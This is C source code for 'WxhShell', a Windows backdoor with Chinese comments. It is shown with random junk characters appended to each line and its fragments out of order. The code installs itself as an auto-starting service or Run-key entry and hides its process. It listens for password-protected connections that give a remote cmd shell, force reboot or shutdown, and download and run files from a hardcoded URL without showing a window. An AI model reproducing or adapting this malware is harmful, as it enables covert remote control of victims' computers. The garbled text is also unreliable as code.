    if(Boot(SHUTDOWN)) }^bL'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u5|e9(J  
    else { ^i k|l=  
    closesocket(wsh); ~(E8~)f)  
    ExitThread(0); f9bz:_;W_  
    } S#z8H+'  
    break; 2gI_*fG1  
    } 9&FV =}MO  
  // 获取shell ,TA [el%#  
  case 's': { j`pR;XL1[  
    CmdShell(wsh); i*E`<9  
    closesocket(wsh); ee?ZkU#@  
    ExitThread(0); %*; 8m'  
    break; c|a|z}(/J  
  } hWe}(Ks  
  // 退出 L#N.pd  
  case 'x': { KPcuGJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r6_a%A*  
    CloseIt(wsh); cf3c+.o  
    break; r1?FH2Ns  
    } Qz$Dv@*y\  
  // 离开 :QSW^x  
  case 'q': { oeKc-[r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D6:J*F&?  
    closesocket(wsh); 2^lT!X@  
    WSACleanup(); ?pY!sG  
    exit(1); &;3z 1s/  
    break; U2?gODh'  
        } VO6y9X"  
  } /pN2Jst  
  } [\F,\  
Ox'.sq4  
  // 提示信息 P!ICno6[e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . +?lID  
} ;MI<J>s  
  } \Y 4Z Q"0Q  
X'4 Yofs  
  return; ]V("^.~$+C  
} RN| ..zml  
@z q{#7%z  
// shell模块句柄 8{<cqYCR  
int CmdShell(SOCKET sock) 1uQf}  
{ Br!&Y9  
STARTUPINFO si; JOq<lb=  
ZeroMemory(&si,sizeof(si)); Q^Z}Y~.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Q}z 6+_\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |O2PcYNu  
PROCESS_INFORMATION ProcessInfo; }d]8fHG  
char cmdline[]="cmd"; M.Ik%nN#K0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;^i,Q} b/  
  return 0; RV(z>XM  
} m~B=C>r}t  
0-HE, lv  
// 自身启动模式 9F4|T7?  
int StartFromService(void) 3NWAy Cq-  
{ 21j+c{O  
typedef struct ;~;St>?\R\  
{ g7F Z -  
  DWORD ExitStatus; `:4cb $  
  DWORD PebBaseAddress; ijYLf.R<  
  DWORD AffinityMask; va;wQ~&  
  DWORD BasePriority; ^)pY2t<^  
  ULONG UniqueProcessId; +60;z4y}w  
  ULONG InheritedFromUniqueProcessId; B6o AW,3  
}   PROCESS_BASIC_INFORMATION; lukV G2wDL  
#"JU39e  
PROCNTQSIP NtQueryInformationProcess; /GaR&  
~MO C r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x"80c(i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |i8dI)b  
\&90$>h  
  HANDLE             hProcess; 'wt|buu-H  
  PROCESS_BASIC_INFORMATION pbi; uy{KV"%"^g  
1hG O*cq!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BI]t}7  
  if(NULL == hInst ) return 0; WG{/I/bJ_  
mio'm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cf'Z#NfQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -9"Ls?Cu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |L&V-f&K  
3MVZ*'1QM\  
  if (!NtQueryInformationProcess) return 0; I,;)pWX=@  
)O Cr6UR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t |hmEHUk  
  if(!hProcess) return 0; ')V5hKb^  
RI;RE/Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w>s  
IWgC6)n@n  
  CloseHandle(hProcess); ^S|^1  
s#[Ej&2[=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); STI3|}G*P  
if(hProcess==NULL) return 0; ) b8*>k  
)^+$5OR\c  
HMODULE hMod; 0oMMJ6"i   
char procName[255]; TW0^wSm  
unsigned long cbNeeded; '3VrHL@@g  
9E+lriyY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uzsN#'7=  
;4IP7$3G  
  CloseHandle(hProcess); cD6o8v4] ]  
=3p h:t  
if(strstr(procName,"services")) return 1; // 以服务启动 bJD"&h5  
='j  
  return 0; // 注册表启动 Z5=!R$4  
} V'$ eun  
4J1Q])G9  
// 主模块 fZO /HzX  
int StartWxhshell(LPSTR lpCmdLine) *79<ypKG$  
{ E=d[pI,e  
  SOCKET wsl; 2LdV=ifq2S  
BOOL val=TRUE; ^l,Jbt  
  int port=0; n6}1{\  
  struct sockaddr_in door; Zn/ /u<D  
zU%aobZ  
  if(wscfg.ws_autoins) Install(); `ijX9c  
\ck3y]a[  
port=atoi(lpCmdLine); LzfLCGA^  
=`U[{3A_  
if(port<=0) port=wscfg.ws_port; Cu]X &l  
n'H\*9t  
  WSADATA data; L%"Mp(gZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8] *{ i  
? 6l::M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :jPAA`,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T9^i#8-^  
  door.sin_family = AF_INET; N\?iU8w=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y>+D\|%Q  
  door.sin_port = htons(port); c#DTL/8"DO  
ln.~>FO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1"k@O)?JP  
closesocket(wsl); :<W 8uDAs  
return 1; QI- 3m qL  
} S;g~xo  
?cvv!2B]T  
  if(listen(wsl,2) == INVALID_SOCKET) { x1~`Z}LX0  
closesocket(wsl); u=[oo @Rk`  
return 1; (2(hl-- 'n  
} h:;~)={"X  
  Wxhshell(wsl); Ub$$wOsf  
  WSACleanup(); h4#5j'RO  
`6A"e Da  
return 0; ]Vsze4>Z[  
c2nZd.SD|  
} >X F@=J p  
LHz{*`22q  
// 以NT服务方式启动 L8fr uwb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?r+tU  
{ 9HE)!Col  
DWORD   status = 0; SYL$ ?kl  
  DWORD   specificError = 0xfffffff; UnPSJ]VW  
"J9+~)e^!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m8?(.BJ%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KK+Mxoj,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0-9&d(L1g  
  serviceStatus.dwWin32ExitCode     = 0; s$en5)  
  serviceStatus.dwServiceSpecificExitCode = 0; g`j%jQuY  
  serviceStatus.dwCheckPoint       = 0; 7\xa_nrI  
  serviceStatus.dwWaitHint       = 0; $I9zJ"*  
:PLsA3[}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oOlI*/OMb  
  if (hServiceStatusHandle==0) return; o kYsjK5  
 JeA}d  
status = GetLastError();  }oG&zw  
  if (status!=NO_ERROR) :\[F=  
{ + y^s 6j}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w-2]69$k  
    serviceStatus.dwCheckPoint       = 0; JTC&_6  
    serviceStatus.dwWaitHint       = 0; ,'j5tU?c  
    serviceStatus.dwWin32ExitCode     = status; it,%T)2H  
    serviceStatus.dwServiceSpecificExitCode = specificError; wKYfqNCH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?aCR>AY5X  
    return; (GV6%l#I  
  } !EFd- fk  
;kbz(:wA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6$f,DU  
  serviceStatus.dwCheckPoint       = 0; iY2bRXA  
  serviceStatus.dwWaitHint       = 0; DXUI/C f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b?$3jOtW  
} P'K')]D=!  
4q[r KNl  
// 处理NT服务事件,比如:启动、停止 'Zzm'pC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1/n3qJyx2}  
{ s0:1G -I  
switch(fdwControl) -[F^~Gv|;  
{ o+na`ed  
case SERVICE_CONTROL_STOP: Z(Vrmz2.  
  serviceStatus.dwWin32ExitCode = 0; K(p1+ GHC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "FU|I1Xz  
  serviceStatus.dwCheckPoint   = 0; %vksN$^  
  serviceStatus.dwWaitHint     = 0; j% nd  
  { ~i \69q%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^K"`k43{  
  } ]?r8^LyZ4  
  return; (ZnA#%  
case SERVICE_CONTROL_PAUSE: 0nS6<:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IE6/ E  
  break; @dXf_2Tv=  
case SERVICE_CONTROL_CONTINUE: +]6 EkZO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \|(;q+n?k  
  break; J+zqu  
case SERVICE_CONTROL_INTERROGATE: >#ou8}0  
  break; K5KN}sRs"  
}; , ^nUi c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S `[8TZ  
} aX|`G]PhdI  
KpE#Ye&  
// 标准应用程序主函数 Y PM>FDxDB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U +]ab  
{ |Mh;k 6  
]X5*e'  
// 获取操作系统版本 3EFk] X  
OsIsNt=GetOsVer(); (3-G<E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {ys_uS{c*  
kO.rgW82  
  // 从命令行安装 ._yr7uY[M  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Zq" -  
:K&hGZ+5  
  // 下载执行文件 P.wINo  
if(wscfg.ws_downexe) { ^v},Sa/ot]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z}&<D YD  
  WinExec(wscfg.ws_filenam,SW_HIDE); eQc!@*:8U  
} e nNn*.*|  
rYLNV!_  
if(!OsIsNt) { }Yj S v^  
// 如果时win9x,隐藏进程并且设置为注册表启动 0L6L_;o  
HideProc(); <7zpHSFBq  
StartWxhshell(lpCmdLine); V_~wWuZ-  
} r*g _  
else &Ls0!dWC  
  if(StartFromService()) RI`A<*>w  
  // 以服务方式启动 ^R\blJQ<^  
  StartServiceCtrlDispatcher(DispatchTable); 4?&=H *H:  
else OT[t EqQ  
  // 普通方式启动 RBb@@k[v  
  StartWxhshell(lpCmdLine); saZ ;ixV  
Y7p#K<y]9  
return 0; 0I k@d'7  
} s?2;u p*D  
KyDBCCOv  
xs:{%ki  
R0|X;3  
=========================================== FYj3! H  
*be+x RY  
ug{F?LW[  
g&[g?L  
9\;EX  
V *] !N  
" qM`SN4C  
xXbW6aI"  
#include <stdio.h> QQw^c1@  
#include <string.h> vi2xonq^  
#include <windows.h> =SdWU}xn2  
#include <winsock2.h> XyIw5 9  
#include <winsvc.h> 'FVT"M~  
#include <urlmon.h> Ia\Nj _-%L  
.UDZW*  
#pragma comment (lib, "Ws2_32.lib") b:JOR@O  
#pragma comment (lib, "urlmon.lib") *dTw$T#  
1Zecl);O{  
#define MAX_USER   100 // 最大客户端连接数 OY)x Kca  
#define BUF_SOCK   200 // sock buffer CV6H~t'1  
#define KEY_BUFF   255 // 输入 buffer 6nwO:?1o9  
md_Ld /  
#define REBOOT     0   // 重启 *Dn{MD7,M  
#define SHUTDOWN   1   // 关机 XkD_SaL}  
v ipmzg(S  
#define DEF_PORT   5000 // 监听端口 $D89|sy  
HaSH0eTw  
#define REG_LEN     16   // 注册表键长度 UOY1^wY  
#define SVC_LEN     80   // NT服务名长度 UWnH2  
?-VN+ d7  
// 从dll定义API &a:aW;^A7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N+tS:$V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {/Cd^CK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~)Z`Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3_-#  
 O~S}u  
// wxhshell配置信息 }_;nl n?t(  
struct WSCFG { N.<hZ\].=  
  int ws_port;         // 监听端口 r~;N(CG  
  char ws_passstr[REG_LEN]; // 口令 ?BRL;(x  
  int ws_autoins;       // 安装标记, 1=yes 0=no u>eu47"n!  
  char ws_regname[REG_LEN]; // 注册表键名 ?R+$4;iy  
  char ws_svcname[REG_LEN]; // 服务名 Jq!($PdA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8 2qe|XD4p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f6#H@ X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p<jr&zVEc>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UOu&sg*o2B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4{R`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n5 i}J/Sa2  
k8ck#%#}Wu  
}; 0 QpWt  
Z/x1?{z  
// default Wxhshell configuration \Q$);:=q Q  
struct WSCFG wscfg={DEF_PORT, gXQ)\MY  
    "xuhuanlingzhe", . FruI#99  
    1, o]Ki+ U  
    "Wxhshell", $X?V_K;9/  
    "Wxhshell", @|@43}M]C-  
            "WxhShell Service", t|q=NK/  
    "Wrsky Windows CmdShell Service", }>w; +XU  
    "Please Input Your Password: ", fP|\1Y?CS  
  1, 26**tB<  
  "http://www.wrsky.com/wxhshell.exe", &td#m"wI  
  "Wxhshell.exe" 5J;c;PF  
    }; 'UyL%h;nJ  
n*1UNQp@]O  
// 消息定义模块 4D13K.h`O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1K`A.J:Uy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :o:??tqw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ef!F;De)A  
char *msg_ws_ext="\n\rExit."; ]'G7(Y\)f  
char *msg_ws_end="\n\rQuit."; d !H)voX  
char *msg_ws_boot="\n\rReboot..."; wnX6XyUH  
char *msg_ws_poff="\n\rShutdown..."; _e'mG'P(  
char *msg_ws_down="\n\rSave to "; ^#o.WL%4/B  
u *< (B  
char *msg_ws_err="\n\rErr!"; ke0W?  
char *msg_ws_ok="\n\rOK!"; D8ly8]H  
.EdV36$n  
char ExeFile[MAX_PATH]; _=MWt_A '3  
int nUser = 0; hD*?\bBs0  
HANDLE handles[MAX_USER]; D.!4i.)8}  
int OsIsNt; B_S3}g<~  
bo2Od  
SERVICE_STATUS       serviceStatus; RB"rx\u7K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ie~~LU  
EkX6> mo  
// 函数声明 0#JBz\  
int Install(void); lySaJ d  
int Uninstall(void); NSq"\A\  
int DownloadFile(char *sURL, SOCKET wsh); ^wlep1D  
int Boot(int flag); <'-me09C*  
void HideProc(void); FuKNH~MevQ  
int GetOsVer(void); a|NU)mgEI  
int Wxhshell(SOCKET wsl); Oc.>$  
void TalkWithClient(void *cs); !xI![N^  
int CmdShell(SOCKET sock); =Vs<DO{|4q  
int StartFromService(void); H[r0jREK  
int StartWxhshell(LPSTR lpCmdLine); Ba6xkEd  
UU/|s>F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4pqZ!@45|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BP6Shc|C  
zYL^e @  
// 数据结构和表定义 gUp0RPs  
SERVICE_TABLE_ENTRY DispatchTable[] = `Nn?G  
{ msylb~^  
{wscfg.ws_svcname, NTServiceMain}, J^:~#`8  
{NULL, NULL} O^#u%/  
}; 5glGlD6R  
6,PL zZ5  
// 自我安装 brWt  
int Install(void) =S,<yQJ  
{ 9o`3g@6z  
  char svExeFile[MAX_PATH]; 7 SZR#L  
  HKEY key; : +Kesa:E  
  strcpy(svExeFile,ExeFile); 0h#M)Ft  
m!_ghD{5h  
// 如果是win9x系统,修改注册表设为自启动 W=?87PkJu  
if(!OsIsNt) { keOW{:^i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Y\,2b, xh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UZra'+Wb  
  RegCloseKey(key); $w\, ."y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { In&vh9Lw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fsd>4t:" \  
  RegCloseKey(key); k:Q<Uanc[  
  return 0; 3:Wr)>l}#  
    } gwJu&HA/  
  } I>a a'em  
} rRYf.~UH@P  
else { -cgukl4Va  
1tdCzbEn+  
// 如果是NT以上系统,安装为系统服务 27:x5g?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CvJEY  
if (schSCManager!=0) $ *A3p  
{ >gJWp@6V  
  SC_HANDLE schService = CreateService ^%pwyY\t  
  ( sLIP |i  
  schSCManager, 4)I#[&f  
  wscfg.ws_svcname, v=VmiBq[  
  wscfg.ws_svcdisp, b`zf&Mn  
  SERVICE_ALL_ACCESS, }c%y0)fL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !`lqWO_/ :  
  SERVICE_AUTO_START, ;kBies>V  
  SERVICE_ERROR_NORMAL, `@7tWX0  
  svExeFile, 03@| dN  
  NULL,  t;Om9  
  NULL, Z > =Y  
  NULL, G,*s9P]1  
  NULL, ISew]R2  
  NULL 7`HUwu  
  ); /&7Yi_]r  
  if (schService!=0) #LJ-IDuF!  
  { Ck?:8YlF  
  CloseServiceHandle(schService); UI C? S  
  CloseServiceHandle(schSCManager); ,~(}lvqVH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G`"Cqs<  
  strcat(svExeFile,wscfg.ws_svcname); <>_Wd AOuD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mC92J@m/L!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PBtU4)  
  RegCloseKey(key); E e>j7k.G.  
  return 0; uW=NH;u  
    } "~C#DZwt{  
  } D5u"4\g< &  
  CloseServiceHandle(schSCManager); y>|XpImZ  
} *(B[J  
} <t% A)L%  
VY@hhr1s~  
return 1; g/p9"eBpq  
} J|S^K kC  
mcr#Ze  
// 自我卸载 "%*lE0Tx  
int Uninstall(void) *J5RueUG  
{ |wQZ~Ux:  
  HKEY key; ue<<Y"NR  
#%b()I_([  
if(!OsIsNt) { XS 8~jBjx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j9'XZq}  
  RegDeleteValue(key,wscfg.ws_regname); yMl'1W  
  RegCloseKey(key); Ba|}C(Ws?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i0Q _f!j  
  RegDeleteValue(key,wscfg.ws_regname); Eu.qA9,@U  
  RegCloseKey(key); @H0%N53nE  
  return 0; #l#[\6  
  } MmH_gR  
} Z[u,1l.T  
} K/v-P <g  
else { 1Z8Oh_D C  
 O'|P|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ks2%F&\cE  
if (schSCManager!=0) %C0O?q  
{ pm@Z[g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )+4}Ix/q  
  if (schService!=0) O)%kl  
  { [.xk  
  if(DeleteService(schService)!=0) { cjC6\.+l3  
  CloseServiceHandle(schService); oV>AFs6  
  CloseServiceHandle(schSCManager); zy6(S_j  
  return 0; a<jE 25t  
  } vr;Br-8  
  CloseServiceHandle(schService); Ja=70ZI^ 6  
  } umZ g}|C_  
  CloseServiceHandle(schSCManager); *jw$d8q2  
} $1zeY6O  
} 'O2#1SWe  
Q;ZHx.ye{  
return 1; tO>OD#  
} H9Q7({v  
uf'P9MA}>  
// 从指定url下载文件 8pMZ~W;  
int DownloadFile(char *sURL, SOCKET wsh) `W$0T;MPF  
{ ?En| _E_C  
  HRESULT hr; &Z;8J @  
char seps[]= "/"; RG r'<o)  
char *token; emY5xZ@N  
char *file; vs)I pV(  
char myURL[MAX_PATH]; ^iRwwN=d  
char myFILE[MAX_PATH]; R|J>8AL}BY  
[S&O-b8A  
strcpy(myURL,sURL); fwv T2G4  
  token=strtok(myURL,seps); <&s)k  
  while(token!=NULL) w[7.@%^[  
  { Xe3z6  
    file=token; `}8@[iB'  
  token=strtok(NULL,seps); R5&$h$[/  
  } ->2wrOH|H  
%^?3s5PXD  
GetCurrentDirectory(MAX_PATH,myFILE); uj9tr`Zh  
strcat(myFILE, "\\"); P,;b'-5C  
strcat(myFILE, file); %>9+1lUhV  
  send(wsh,myFILE,strlen(myFILE),0); +bc#GzVF  
send(wsh,"...",3,0); !QR?\9`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a$zm/  
  if(hr==S_OK) 3^R][;  
return 0; tZu*Asx7  
else `Ivw`}L  
return 1; Z++Z@J"  
5*wApu{2A  
} h9BD ^j  
a;'E}b{`F  
// 系统电源模块 x #X#V\w=  
int Boot(int flag) A6UdWK  
{ a}qse5Fr  
  HANDLE hToken; M`+e'vdw  
  TOKEN_PRIVILEGES tkp; k CW!m  
gUH'DS]{  
  if(OsIsNt) { RnA&-\|*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bw]L2=d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fwx~ ~"I  
    tkp.PrivilegeCount = 1; ZCE%38E N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F'>GN}n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a j@C0  
if(flag==REBOOT) { T5dUJR2k$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $dZ>bXUw:  
  return 0; &.  =}g]  
} Z"n'/S:q  
else { /pIb@:Y1?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,hTwNVWI9  
  return 0; '6.>Wdd  
} 0qL V(L  
  } XAU_SPAjiw  
  else { ua$k^m7m5  
if(flag==REBOOT) { ;Up'~BP(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3:~l2KIP4  
  return 0; 9!xD~(Kr  
} f05"3L:  
else { przubMt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %EVV-n@  
  return 0; I`"-$99|t1  
} "ji$@b_\?  
} jW1YTQ  
wj#J>C2]  
return 1; .YjrV+om1  
} i{|lsd(+  
%uz|NRB=  
// win9x进程隐藏模块 AFINm%\/0  
void HideProc(void) ~X~xE]1o|U  
{ iz9\D*or  
}c35FM,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _z<Y#mik  
  if ( hKernel != NULL ) cVB|sYdf  
  { YHO;IQ5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); + U+aWk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j(Fa=pi  
    FreeLibrary(hKernel); L_Y9+ e  
  } )RA\kZ"  
2Ft8dfdm`  
return; k(-Z@   
} CQBT::  
ZTh?^}/  
// 获取操作系统版本 1Nl&4YLO  
int GetOsVer(void) Q/QQ:t<XUi  
{ qab) 1ft  
  OSVERSIONINFO winfo; VBbUl|X\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %="~\1y  
  GetVersionEx(&winfo); W>}Qer4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #aitESbT  
  return 1; WyBQ{H{So  
  else `jb0 +{08  
  return 0; ^ o $W  
} [j:}=:feQ  
ZRXI?Jr%  
// 客户端句柄模块 MfXt+c`r  
int Wxhshell(SOCKET wsl) ~A[YnJYA#  
{ 8/Et&TJ`  
  SOCKET wsh; 9Qt)m fqM  
  struct sockaddr_in client; & %N(kyp  
  DWORD myID; Pn'`Q S?  
X"hOHx5P  
  while(nUser<MAX_USER) M>?aa6@0  
{ 7y>Tn`V8G  
  int nSize=sizeof(client); qa 6=W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b?Cmc  
  if(wsh==INVALID_SOCKET) return 1; 2!{_/@I\Y  
'GV&]   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ER~T'-YMS  
if(handles[nUser]==0) \#\`!L[1  
  closesocket(wsh); F* 3G _V  
else TnN^2:cU  
  nUser++; E1c>nrnh*  
  } 9,S,NvSq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BGB,Gb  
xHEVR!&c4  
  return 0; tk`: CT *  
} 84[|qB,ML  
457fT|  
// 关闭 socket tXf}jU}  
void CloseIt(SOCKET wsh) QO5OnYh  
{ ; @ 7  
closesocket(wsh); eZ!yPdgy|  
nUser--; f![xn2T  
ExitThread(0); y!7B,  
} ?-pxte8  
P<>[e9|  
// 客户端请求句柄 %'{V%IXQ  
void TalkWithClient(void *cs) ,pDp>-vI%  
{ ?gd'M_-J,  
f*{M3"$E  
  SOCKET wsh=(SOCKET)cs; 5*JV )[  
  char pwd[SVC_LEN]; {[Uti^)m%  
  char cmd[KEY_BUFF]; %:" RzHN  
char chr[1]; Jq# [uX  
int i,j; 8_"3Yb`f  
v\fzO#vj  
  while (nUser < MAX_USER) { gXq!a|eH  
kk 8R  
if(wscfg.ws_passstr) { t *o7,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r> Fec  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o{9?:*?7  
  //ZeroMemory(pwd,KEY_BUFF); qA UaF;{  
      i=0; jv*Dg (  
  while(i<SVC_LEN) { pZu?V"R  
CHPL>'NJzc  
  // 设置超时 SW3wMPy&s  
  fd_set FdRead; i Bi7|  
  struct timeval TimeOut; {udrT"h  
  FD_ZERO(&FdRead); D8k*0ei&  
  FD_SET(wsh,&FdRead); =Ml|l$  
  TimeOut.tv_sec=8; a;56k  
  TimeOut.tv_usec=0; uAp -$?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q|n97.vD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~@%(RMJm&  
 C}Rs[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z8g=;><  
  pwd=chr[0]; d-hbvLn  
  if(chr[0]==0xd || chr[0]==0xa) { XXXl jh6  
  pwd=0; j'k8^*M6  
  break; L5R `w&Up  
  } f8^"E $"  
  i++; (})]H:W7  
    } UE"7   
HvAE,0N  
  // 如果是非法用户,关闭 socket 2y^U k,g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M,&tA1CH  
} ; Zh9^0  
buRhQ"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n49;Z,[~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F\;2 i:(  
xy2\'kS`G  
while(1) { {V.Wk  
Z/xV\Ggx  
  ZeroMemory(cmd,KEY_BUFF); MO[c0n%  
/^d. &@*  
      // 自动支持客户端 telnet标准   (gLea  
  j=0; XxhsPFv  
  while(j<KEY_BUFF) { YQN.Ohtv*F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z#CxQ D%\  
  cmd[j]=chr[0]; 3b#L17D3_  
  if(chr[0]==0xa || chr[0]==0xd) { j0AwL7  
  cmd[j]=0; }|AX_=a  
  break; L?C\Q^0"`G  
  } ]GcV0&|  
  j++; kl| g  
    } 3 *G5F}7%=  
{!lNL[x  
  // 下载文件 P_Z M'[  
  if(strstr(cmd,"http://")) { w(/7Jt$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sD{ j@WEZ  
  if(DownloadFile(cmd,wsh)) bdCykG-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x,w8r+~5  
  else yXkt:O,i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _0w1 kqW  
  }  64SW  
  else { ^#2xQ5h  
